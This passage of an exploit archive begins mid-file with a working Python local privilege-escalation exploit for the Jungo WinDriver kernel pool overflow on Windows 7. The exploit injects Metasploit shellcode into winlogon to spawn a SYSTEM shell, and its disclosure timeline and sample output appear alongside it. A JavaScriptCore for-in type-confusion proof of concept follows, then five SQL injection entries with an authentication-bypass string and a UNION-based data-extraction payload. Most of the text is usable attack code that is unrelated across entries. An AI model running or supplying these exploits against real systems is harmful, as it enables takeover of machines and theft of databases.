2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com
2017-08-25 – No response from Jungo and two bounced emails
2017-08-26 – Attempted a follow up with the vendor via website chat
2017-08-26 – No response via the website chat
2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it"
2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release
2017-09-06 – No response from Jungo
2017-09-06 – Public 0day release of advisory

Exploitation:
=============

This exploit uses a data only attack via the Quota Process Pointer Overwrite technique. We smash the token's _SEP_TOKEN_PRIVILEGES->Enabled and dec the controlled address by 0x50 (size of the Mutant) to enable SeDebugPrivilege's. Then we inject code into a system process.

Note that this exploit doesn't use any kernel mode shellcode :->

References:
===========

- https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf
- https://github.com/hatRiot/token-priv

Example:
========

C:\Users\user\Desktop>whoami
debugee\user

C:\Users\user\Desktop>poc.py

        --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]
                       Steven Seeley (mr_me) of Source Incite

(+) attacking WinDrvr1240 for a data only attack...
(+) sprayed the pool!
(+) made the pool holes!
(+) leaked token 0xa15535a0
(+) triggering pool overflow...
(+) allocating pool overflow input buffer
(+) elevating privileges!
(+) got a handle to winlogon! 0x2bd10
(+) allocated shellcode in winlogon @ 0xc0000
(+) WriteProcessMemory returned: 0x1
(+) RtlCreateUserThread returned: 0x0
(+) popped a SYSTEM shell!

C:\Users\user\Desktop>

in another terminal...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
"""
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, psutil
from platform import release, architecture

ntdll    = windll.ntdll
kernel32 = windll.kernel32
MEM_COMMIT             = 0x00001000
MEM_RESERVE            = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS              = 0x0
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_INVALID_HANDLE       = 0xC0000008
SystemExtendedHandleInformation = 64

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]

class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", c_void_p),
        ("UniqueProcessId", ULONG),
        ("HandleValue", ULONG),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]
 
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", ULONG),
        ("Reserved", ULONG),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]

class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]

class PROCESSENTRY32(Structure):
    _fields_ = [
        ("dwSize", c_ulong),
        ("cntUsage", c_ulong),
        ("th32ProcessID", c_ulong),
        ("th32DefaultHeapID", c_int),
        ("th32ModuleID", c_ulong),
        ("cntThreads", c_ulong),
        ("th32ParentProcessID", c_ulong),
        ("pcPriClassBase", c_long),
        ("dwFlags", c_ulong),
        ("szExeFile", c_wchar * MAX_PATH)
    ]

def signed_to_unsigned(signed):
    """
    Convert signed to unsigned integer.
    """
    unsigned, = struct.unpack ("L", struct.pack ("l", signed))
    return unsigned
                
def get_type_info(handle):
    """
    Get the handle type information to find our sprayed objects.
    """
    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = signed_to_unsigned(
            ntdll.NtQueryObject(
                handle, 2, byref(public_object_type_information), size, None))
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return None
        else:
            raise x_file_handles("NtQueryObject.2", hex (result))

def get_handles():
    """
    Return all the processes handles in the system at the time.
    Can be done from LI (Low Integrity) level on Windows 7 x86.
    """
    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD (sizeof (system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        result = signed_to_unsigned(result)
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object

def we_can_spray():
    """
    Spray the Kernel Pool with IoCompletionReserve and Event Objects. 
    The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
    These are allocated from the Nonpaged kernel pool.
    """
    handles = []
    for i in range(0, 50000):
        handles.append(windll.kernel32.CreateMutexA(None, False, None))
    # could do with some better validation
    if len(handles) > 0:
        return True
    return False

def alloc_pool_overflow_buffer(base, input_size):
    """
    Craft our special buffer to trigger the overflow.
    """
    print "(+) allocating pool overflow input buffer"
    baseadd   = c_int(base)
    size = c_int(input_size)
    priv = token + 0x40 + 0x8                  # Enabled

    input  = struct.pack("<I", 0x0000001a)     # size
    input += "\x44" * 0x398                    # offset to overflown chunks
    
    # patch
    input += struct.pack("<I", 0x040a008c)     # _POOL_HEADER
    input += struct.pack("<I", 0xe174754d)     # _POOL_HEADER
    input += "\x44" * 0x20
    input += struct.pack("<I", 0x00000000)
    input += struct.pack("<I", 0x00000001)
    input += "\x44" * 0x20
    input += struct.pack("<I", 0x00000001)     # set @ecx to 0x1, to write another 0x4 dwords
    input += struct.pack("<I", 0x00000000)
    input += "\x44" * 8
    input += struct.pack("<I", 0x00000001)
    input += struct.pack("<I", 0x00000001)
    input += "\x44" * 4
    input += struct.pack("<I", 0x0008000e)     # restore the TypeIndex ;-)
    input += struct.pack("<I", priv)           # Quota Process Pointer Overwrite

    # filler
    input += "\x43" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        return False
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) error while writing our input buffer memory: %s" % write
        return False
    return True

def we_can_trigger_the_pool_overflow():
    """
    This triggers the pool overflow vulnerability using a buffer of size 0x460.
    """
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    DEVICE_NAME   = "\\\\.\\WinDrvr1240"
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    inputbuffer       = 0x41414141
    inputbuffer_size  = 0x5000
    outputbuffer_size = 0x5000
    outputbuffer      = 0x20000000
    alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
    IoStatusBlock = c_ulong()

    if driver_handle:
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x95382673,
                                                inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
        return True
    return False

def we_can_make_pool_holes():
    """
    This makes the pool holes that will coalesce into a hole of size 0x460.
    """
    global khandlesd, to_free
    mypid = os.getpid()
    khandlesd = {}
    to_free   = []

    # leak kernel handles
    for pid, handle, obj in get_handles():

        # mixed object attack
        if pid == mypid and get_type_info(handle) == "Mutant":
            khandlesd[obj] = handle

    # Find holes and make our allocation
    holes = []
    for obj in khandlesd.iterkeys():

        # obj address is the handle address, but we want to allocation
        # address, so we just remove the size of the object header from it.
        alloc = obj - 0x30

        # Get allocations at beginning of the page
        if (alloc & 0xfffff000) == alloc:
            bin = []
            
            # object sizes
            Mutant_size = 0x50

            # we use 0x10 since thats the left over freed chunk from filling the page
            offset = Mutant_size + 0x10
            for i in range(offset, offset + (0xe * Mutant_size), Mutant_size):

                if (obj + i) in khandlesd:
                    bin.append(khandlesd[obj + i])
                    
            # make sure it's contiguously allocated memory
            if len(tuple(bin)) == 0xe:

                # free the 2nd chunk only
                if (obj + i + (Mutant_size * 0x2)) in khandlesd:
                    to_free.append(khandlesd[obj + i + (Mutant_size * 0x2)])
                holes.append(tuple(bin))

    # make the holes to fill
    for hole in holes:
        for handle in hole:
            kernel32.CloseHandle(handle)
    return True

def we_can_leak_token():
    """
    Uses NtQuerySystemInformation to leak the token
    """
    global token
    hProcess = HANDLE(windll.kernel32.GetCurrentProcess())
    hToken = HANDLE()
    TOKEN_ALL_ACCESS = 0xf00ff
    windll.advapi32.OpenProcessToken(hProcess,TOKEN_ALL_ACCESS, byref(hToken))
    for pid, handle, obj in get_handles():
        if pid==os.getpid() and get_type_info(handle) == "Token":
            token = obj
            return True
    return False

def trigger_lpe():
    """
    This function frees the Mutant objects and this triggers the 
    usage of the Quota Process Pointer, dec'ing by 0x50, avoiding OkayToCloseProcedure.
    """

    # we dont know where the free chunk is, we just know its in one of the pages 
    # full of Mutants and that its the 2nd chunk after the overflowed buffer. Good enough.
    for v in to_free:
        kernel32.CloseHandle(v)

def get_winlogin_pid():
    """
    Just gets winlogon pid. Get whateva system pid you want
    """
    for proc in psutil.process_iter():
        if proc.name() == "winlogon.exe":
            return proc.pid
    return 0

def we_can_inject():
    """
    Now that we have the SeDebugPrivilege, we can inject into a system process.
    I choose winlogon because you get the bonus GUI.
    """
    page_rwx_value = 0x40
    process_all    = 0x1f0fff
    memcommit      = 0x00001000
    hThread        = HANDLE()

    # get a handle to the process
    pHandle = windll.kernel32.OpenProcess(process_all, False, get_winlogin_pid())
    if pHandle == 0:
        return False
    print "(+) got a handle to winlogon! 0x%x" % pHandle

    # metasploit windows/exec CMD=cmd.exe EXITFUNC=Thread
    buf =  ""
    buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
    buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
    buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
    buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
    buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
    buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
    buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
    buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
    buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
    buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
    buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
    buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d"
    buf += "\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
    buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
    buf += "\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00"

    # allocate some memory in the process
    fPointer = windll.kernel32.VirtualAllocEx(pHandle, 0, len(buf), memcommit, page_rwx_value)
    print "(+) allocated shellcode in winlogon @ 0x%x" % fPointer

    # write the shellcode to the memory
    res = windll.kernel32.WriteProcessMemory(pHandle, fPointer, buf, len(buf), 0)
    print "(+) WriteProcessMemory returned: 0x%x" % res

    # create a new thread that starts execution at that code location
    res = windll.ntdll.RtlCreateUserThread(pHandle, None, 0, 0, 0, 0, fPointer, 0, byref(hThread), 0)
    print "(+) RtlCreateUserThread returned: 0x%x" % res
    return True

def main():
    print "\n\t--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]"
    print "\t               Steven Seeley (mr_me) of Source Incite\r\n"

    if release() != "7" or architecture()[0] != "32bit":
        print "(-) although this exploit may work on this system,"
        print "    it was only designed for Windows 7 x86."
        sys.exit(-1)

    print "(+) attacking WinDrvr1240 for a data only attack..."
    if we_can_spray():
        print "(+) sprayed the pool!"
        if we_can_make_pool_holes():
            print "(+) made the pool holes!"
            if we_can_leak_token():
                print "(+) leaked token 0x%x" % token
                print "(+) triggering pool overflow..."
                if we_can_trigger_the_pool_overflow():
                    print "(+) elevating privileges!"
                    trigger_lpe()
                    if we_can_inject():
                        print "(+) popped a SYSTEM shell!"

if __name__ == '__main__':
    main()
            
Let's start with JS code.

let o = {};
for (let i in {xx: 0}) {
    o[i]; <<-------- (a)
}

When the code generator meets (a), it will call BytecodeGenerator::emitGetByVal.

Here's the code of BytecodeGenerator::emitGetByVal.

RegisterID* BytecodeGenerator::emitGetByVal(RegisterID* dst, RegisterID* base, RegisterID* property)
{
    for (size_t i = m_forInContextStack.size(); i > 0; i--) {
        ForInContext& context = m_forInContextStack[i - 1].get();
        if (context.local() != property)
            continue;

        if (!context.isValid())
            break;

        if (context.type() == ForInContext::IndexedForInContextType) {
            property = static_cast<IndexedForInContext&>(context).index();
            break;
        }

        ASSERT(context.type() == ForInContext::StructureForInContextType);
        StructureForInContext& structureContext = static_cast<StructureForInContext&>(context);
        UnlinkedValueProfile profile = emitProfiledOpcode(op_get_direct_pname);
        instructions().append(kill(dst));
        instructions().append(base->index());
        instructions().append(property->index());
        instructions().append(structureContext.index()->index());
        instructions().append(structureContext.enumerator()->index());
        instructions().append(profile);
        return dst;
    }

    UnlinkedArrayProfile arrayProfile = newArrayProfile();
    UnlinkedValueProfile profile = emitProfiledOpcode(op_get_by_val);
    instructions().append(kill(dst));
    instructions().append(base->index());
    instructions().append(property->index());
    instructions().append(arrayProfile);
    instructions().append(profile);
    return dst;
}

The method uses op_get_by_val to handle expressions like "o[i]". But, there is a fast path, which uses op_get_direct_pname, for when the index variable is a string. op_get_direct_pname is designed for a string index only. So if other types are used as indexes, it will cause type confusions. In the above JS code, it's very clear that "i" will be a string("xx") semantically. Therefore, it will use op_get_direct_pname to handle it.

Here's another example.

let o = {};
for (let i in {xx: 0}) {
    o[i]; <<-------- (a)
    i = 0x123456; <<-------- (b)
    o[i]; <<-------- (c)
}

In this case, it will use op_get_direct_pname at (a). And at (b), since the index variable "i" is replaced, the invalidate method of the ForInContext object that makes "context.isValid()" return false is called. So, op_get_by_val will be used at (c).

But the problem is that it can't properly handle the following case which cause a type confusion.

let o = {};
for (let i in {xx: 0}) {
    for (let j = 0; j < 2; j++) {
        o[i];  // When j == 1, op_get_direct_pname was already emitted, but i is not a string anymore.
        i = 0;
    }
}

PoC:
let o = {};
for (let i in {xx: 0}) {
    for (let j = 0; j < 2; j++) {
        o[i];
        i = new Uint32Array([0, 1, 0x777777, 0, 0]);
    }
}


            
# # # # # 
# Exploit Title: Unique Low Bid Auction Script 3.3 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/unique-low-bid-auction-script.htm
# Demo: http://www.icloudcenter.net/demos/iclowbidauction/
# Version: 3.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: MLM Software Script 2.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/mlm-script.htm
# Demo: http://www.icloudcenter.net/demos/icmlm/
# Version: 2.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&key=[SQL]
# 
# '+/*!00007uNiOn*/+/*!00007SelEct*/+0x283129,0x283229,0x3c68313e496873616e2053656e63616e3c2f68313e,(/*!50000Select*/+export_set(5,@:=0,(/*!50000select*/+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!50000table_name*/,0x3c6c693e,2),/*!50000column_name*/,0xa3a,2)),@,2))--+-
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Real Estate Marketplace Site ASP.NET Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/real-estate-marketplace-site.htm
# Demo: http://www.icloudcenter.com/demos/icestatemarket/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/details.aspx?id=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Support Tickets Helpdesk PHP Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/support-tickets-helpdesk-script.htm
# Demo: http://icloudcenter.net/demos/ichelpdesk/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?page=static_pages&pk=[SQL]
# 
# Etc..
# # # # #
            
# # # # # 
# Exploit Title: Project Bidding Script 1.1 - SQL Injection
# Dork: N/A
# Date: 13.09.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Link: http://www.icloudcenter.com/project_bidding_script.htm
# Demo: http://www.icloudcenter.net/demos/icprojectbidding/
# Version: 1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# http://localhost/[PATH]/admin/viewuserips.php?id=[SQL]

# http://localhost/[PATH]/admin/editadminuser.php?id=[SQL]
# 
# Etc..
# # # # #